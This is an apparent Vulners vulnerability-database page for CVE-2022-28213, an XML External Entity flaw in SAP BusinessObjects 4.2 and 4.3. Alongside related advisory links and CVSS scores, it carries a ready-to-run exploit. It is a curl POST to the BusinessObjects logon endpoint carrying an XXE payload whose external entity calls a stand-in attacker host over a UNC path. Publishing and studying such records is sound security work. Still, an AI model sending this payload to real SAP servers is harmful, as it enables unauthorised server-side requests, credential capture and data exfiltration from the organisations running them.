Vulners
Lucene search
SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE)
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE) Vulnerability | 11 May 202200:00 | – | zdt |
 | CVE-2022-28213 | 12 Apr 202217:15 | – | attackerkb |
 | CVE-2022-28213 | 12 Apr 202220:23 | – | circl |
 | SAP BusinessObjects Business Intelligence Platform 安全漏洞 | 12 Apr 202200:00 | – | cnnvd |
 | SAP BusinessObjects Business Intelligence Platform XML外部实体注入漏洞 | 15 Apr 202200:00 | – | cnvd |
 | CVE-2022-28213 | 12 Apr 202216:11 | – | cve |
 | CVE-2022-28213 | 12 Apr 202216:11 | – | cvelist |
 | EUVD-2022-32667 | 12 Apr 202216:11 | – | euvd |
 | Vulnerabilities fixed in SAP products | 14 Apr 202200:00 | – | ncsc |
 | CVE-2022-28213 | 12 Apr 202217:15 | – | nvd |
10
# Exploit Title: SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE)
# Google Dork: N/A
# Date: 4/21/2022
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.sap.com/
# Software Link: https://www.sap.com/
# Version: 4.2 and 4.3
# Tested on: Windows Server 2019 x64
# CVE : CVE-2022-28213
# References: https://github.com/wshepherd0010/advisories/blob/master/CVE-2022-28213.md
curl -sk -X POST -H 'Content-Type: application/xml;charset=UTF-8' \
--data '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY %
remote SYSTEM "\\attackerwebsite.com\XXE\example">%remote;%int;%trick;]>' \
https://example.com/biprws/logon/longData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 May 2022 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 25.5
CVSS 3.18.1
EPSS0.12617